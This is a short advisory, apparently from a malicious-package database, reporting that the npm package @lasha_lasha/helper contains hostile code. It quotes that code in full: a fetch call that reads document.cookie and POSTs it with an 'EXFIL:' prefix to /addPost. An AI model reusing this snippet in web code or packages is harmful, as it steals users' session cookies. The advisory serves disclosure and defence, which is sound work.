MAL-2026-20191: Malicious code in @lasha_lasha/helper (npm)
--- -= Per source details. Do not edit below this line.=-
Source: amazon-inspector (385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5) The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.